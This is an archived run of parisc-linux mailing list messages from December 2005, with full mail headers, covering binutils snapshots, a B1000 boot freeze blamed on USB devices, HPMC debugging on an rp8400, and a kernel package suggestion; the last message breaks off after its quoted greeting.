ide0 at 0xf00-0xf07,0xe02 on irq 103
hda: ATAPI 32X CD-ROM drive, 128kB Cache
Uniform CD-ROM driver Revision: 3.20
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sda: drive cache: write back
 /dev/scsi/host1/bus0/target6/lun0: p1 p2 p3 p4
Attached scsi disk sda at scsi1, channel 0, id 6, lun 0
Adding 498004k swap on /dev/sda3.  Priority:-1 extents:1
ad1889: ad1889 at 0xf400c000 IRQ 67
ac97_codec: AC97 Audio codec, id: ADS3 (Analog Devices AD1819)
ehci_hcd: block sizes: qh 128 qtd 96 itd 192 sitd 96
USB Universal Host Controller Interface driver v2.2
ts: Compaq touchscreen protocol output
NET: Registered protocol family 17
module ipv6 relocation of symbol capable is out of range (0x3ffeffdc in 17
bits)
eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.


-- 
GMX DSL-Flatrate 1 Jahr kostenlos* + WLAN-Router ab 0,- Euro*
Bis 31.12.2005 einsteigen! Infos unter: http://www.gmx.net/de/go/dsl
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merged new binutils.
Date: Wed, 14 Dec 2005 09:23:21 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <200512141423.jBEENLhP028272@hiauly1.hia.nrc.ca>
References: <IRHPEQ$F2D0F9EAA5D374E7768DFCBED2602C1F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623954 17387 80.91.229.3 (22 Nov 2014 02:39:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:14 +0000 (UTC)
Cc: carlos@systemhalted.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2005 14:23:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 14 Dec 2005 15:23:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68A7D7D766;
	Wed, 14 Dec 2005 07:23:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24603-10; Wed, 14 Dec 2005 07:23:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 719B07D77F;
	Wed, 14 Dec 2005 07:23:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC6CC7D763
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 07:23:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24603-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 07:23:26 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EBFD37D758
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 07:23:25 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jBEENMil028273; Wed, 14 Dec 2005 09:23:23 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jBEENLhP028272;
	Wed, 14 Dec 2005 09:23:21 -0500 (EST)
In-Reply-To: <IRHPEQ$F2D0F9EAA5D374E7768DFCBED2602C1F@scarlet.be> from "Joel
	Soete" at Dec 14, 2005 02:28:02 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uk/SY3RQeSEkYL6WZHQhaXN1IGRvb0De
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23257

> > I merged a new binutils into cvs.parisc-linux.org. Anyone want to take a
> > look at why we have 38 regressions in ld?
> > 
> Sorry, I don't have any more access to cvs :-(
> mmm (should be most egoistic) couldn't it be placed a compressed co on
> cvs.p-l.org/download as build-tools-latest.tar.gz?
> (just forget if it's too much work ;-)

There are some snapshots here:
ftp://sourceware.org/pub/binutils/snapshots/.

The version kept at cvs.parisc-linux.org is mainly for TLS development.
It's not generally kept up to date.  Other than for TLS, the work of
maintaining parisc binutils is being done directly in the binutils cvs.
In the early days of parisc-linux, there were a variety of parisc bug
fixes in the parisc tree.  However, these were all merged several years
ago.

H.J.L supports a "linux" version of binutils, but it's not regularly
tested on parisc as far as I know.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Oliver Grafe <heiner991@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000 freeze after sym0:
Date: Wed, 14 Dec 2005 18:30:36 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20051214183036.5960e851.heiner991@gmx.de>
References: <17461.1134562581@www66.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623955 17391 80.91.229.3 (22 Nov 2014 02:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2005 17:32:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 14 Dec 2005 18:32:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9CB57D77C;
	Wed, 14 Dec 2005 10:32:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25743-08; Wed, 14 Dec 2005 10:32:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F5C57D77E;
	Wed, 14 Dec 2005 10:32:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 059C67D779
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 10:32:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25743-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 10:32:10 -0700 (MST)
Original-Received: from merkurneu.hrz.uni-giessen.de (merkurneu.hrz.uni-giessen.de
	[134.176.2.3])
	by free.linux.hp.com (Postfix) with ESMTP id 0E8277D770
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 10:32:10 -0700 (MST)
Original-Received: from [134.176.2.191] by merkurneu.hrz.uni-giessen.de with ESMTP for
	parisc-linux@lists.parisc-linux.org; Wed, 14 Dec 2005 18:30:39 +0100
Original-Received: from hermes.hrz.uni-giessen.de (hermes.hrz.uni-giessen.de
	[134.176.2.15])
	by mailgw12.hrz.uni-giessen.de (Postfix) with ESMTP id DD8D9171D06
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 18:30:34 +0100 (CET)
Original-Received: from [134.176.206.150] by hermes.hrz.uni-giessen.de for
	parisc-linux@lists.parisc-linux.org; Wed, 14 Dec 2005 18:30:36 +0100
In-Reply-To: <17461.1134562581@www66.gmx.net>
X-Mailer: Sylpheed version 1.0.4 (GTK+ 1.2.10; i386-pc-linux-gnu)
X-HRZ-JLUG-MailScanner-Information: Passed JLUG virus check
X-HRZ-JLUG-MailScanner: No virus found
X-MailScanner-From: heiner991@gmx.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cjLSY3UzeSEkM76WZHQhaXN1IGRvb4BR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23258

Hi!

Heiner991@gmx.de wrote:
> I installed Debian 3.1_r0 on my B1000, but now i got problems at boot.
> The machine hangs after the following message:
> 
> [...]
> NET: Registered protocol family 1
> sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 65
> sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
> [...]

I "solved" it: I disconnected keyboard, mice and monitor, now the
machine boots nicely and i get access via ssh. It's the first time i see
a connected/disconnected USB-Keyboard got something to do with a
SCSI driver, but it "works for me" now.

If someone is still interested in really solving this problem i'm glad
to give further informations or compiling kernels etc...


Greetings,
Oliver

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on rp8400
Date: Wed, 14 Dec 2005 11:41:48 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20051214184148.GA15899@colo.lackof.org>
References: <92dc10290511090202w13610049p489c16a0fc0642bb@mail.gmail.com>
	<20051109122253.GA27540@parisc-linux.org>
	<20051109161200.GA4507@colo.lackof.org>
	<92dc10290511091404q4e4d1d91k36dcbb7737fd6153@mail.gmail.com>
	<43746C1E.4070003@tiscali.be>
	<20051111143813.GB1658@parisc-linux.org>
	<92dc10290511121549p474c7e66r9fcda577c3275d47@mail.gmail.com>
	<20051114142329.GA5479@colo.lackof.org>
	<92dc10290511150744v320e7aci40ed5203c7ba95ee@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623955 17394 80.91.229.3 (22 Nov 2014 02:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Vesa Ruokonen <vesa.ruokonen@gmail.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2005 18:33:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 14 Dec 2005 19:33:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BEC87D785;
	Wed, 14 Dec 2005 11:33:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26167-10; Wed, 14 Dec 2005 11:33:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21E4D7D787;
	Wed, 14 Dec 2005 11:33:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EFDD7D77E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:33:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26167-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:33:22 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 91D957D77C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:33:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0ECB8360002;
	Wed, 14 Dec 2005 11:41:52 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26759-05; Wed, 14 Dec 2005 11:41:48 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 950D036000E; Wed, 14 Dec 2005 11:41:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <92dc10290511150744v320e7aci40ed5203c7ba95ee@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LADSY4MteSEkdL6WZHQhaXN1IGRvb4B0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23259

On Tue, Nov 15, 2005 at 05:44:53PM +0200, Vesa Ruokonen wrote:
...
> The rp8400 is stuck again, now it dies silently after detecting loop devices.
> PIM and some other data is logged at;
>  http://vantaa.fv.fi/00/palinux/rp8400-loop.txt
> Any ideas?

Can you decode 000000001030b504 (HPMC GR02) and 0x000000001030ae7c (IIA)
into kernel symbols?

It's odd that System Requestor is all Zero here:
System Responder Address     = 0xfffffffffc078000
System Requestor Address     = 0x0000000000000000

Based on previous console output, the target device is the
first CPU "Unknown machine". Sounds like IPI failed?
Or is that perhaps the first attempt to deliver interrupts
from an IO device?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000 freeze after sym0:
Date: Wed, 14 Dec 2005 11:34:49 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20051214183449.GY9286@parisc-linux.org>
References: <17461.1134562581@www66.gmx.net>
	<20051214183036.5960e851.heiner991@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623955 17395 80.91.229.3 (22 Nov 2014 02:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Oliver Grafe <heiner991@gmx.de>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2005 18:35:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 14 Dec 2005 19:35:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96C7A7D79F;
	Wed, 14 Dec 2005 11:34:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26544-07; Wed, 14 Dec 2005 11:34:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F239F7D795;
	Wed, 14 Dec 2005 11:34:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 20F8B7D793
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:34:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26544-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:34:49 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 96D2E7D790
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:34:49 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 50F834940A5; Wed, 14 Dec 2005 11:34:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051214183036.5960e851.heiner991@gmx.de>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gwDSYzEteSEkdb6WZHQhaXN1IGRvb4BJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23260

On Wed, Dec 14, 2005 at 06:30:36PM +0100, Oliver Grafe wrote:
> I "solved" it: I disconnected keyboard, mice and monitor, now the
> machine boots nicely and i get access via ssh. It's the first time i see
> a connected/disconnected USB-Keyboard got something to do with a
> SCSI driver, but it "works for me" now.
> 
> If someone is still interested in really solving this problem i'm glad
> to give further informations or compiling kernels etc...

I suspect a recent kernel, such as
http://cvs.parisc-linux.org/download/linux-2.6/autobuild/c3000_defconfig/palinux-c3000-defconfig-2.6.15-rc5-pa5_0-2_all.deb
would work.  ISTR a bug was fixed related to having USB keyboards
enabled at boot.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gentoo & PARisc Kernel broken?
Date: Fri, 16 Dec 2005 00:51:02 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <20051216075102.GA12934@colo.lackof.org>
References: <912523912e0e.912e0e912523@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623956 17399 80.91.229.3 (22 Nov 2014 02:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Keven Tipping <bytelogix@shaw.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2005 07:42:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 16 Dec 2005 08:42:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7011C7D7B3;
	Fri, 16 Dec 2005 00:42:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07617-05; Fri, 16 Dec 2005 00:42:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E52C7D7B7;
	Fri, 16 Dec 2005 00:42:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74CE57D78F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Dec 2005 00:42:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07605-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Dec 2005 00:42:31 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C79477D73D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Dec 2005 00:42:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A08B836000F;
	Fri, 16 Dec 2005 00:51:03 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26412-05; Fri, 16 Dec 2005 00:51:02 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 27A9A360002; Fri, 16 Dec 2005 00:51:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <912523912e0e.912e0e912523@shaw.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pwrQYwJieSEkfr6WZHQhaXN1IGRvb8Dn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23261

On Thu, Dec 15, 2005 at 10:58:42PM -0700, Keven Tipping wrote:
> Greetings to all!
> 
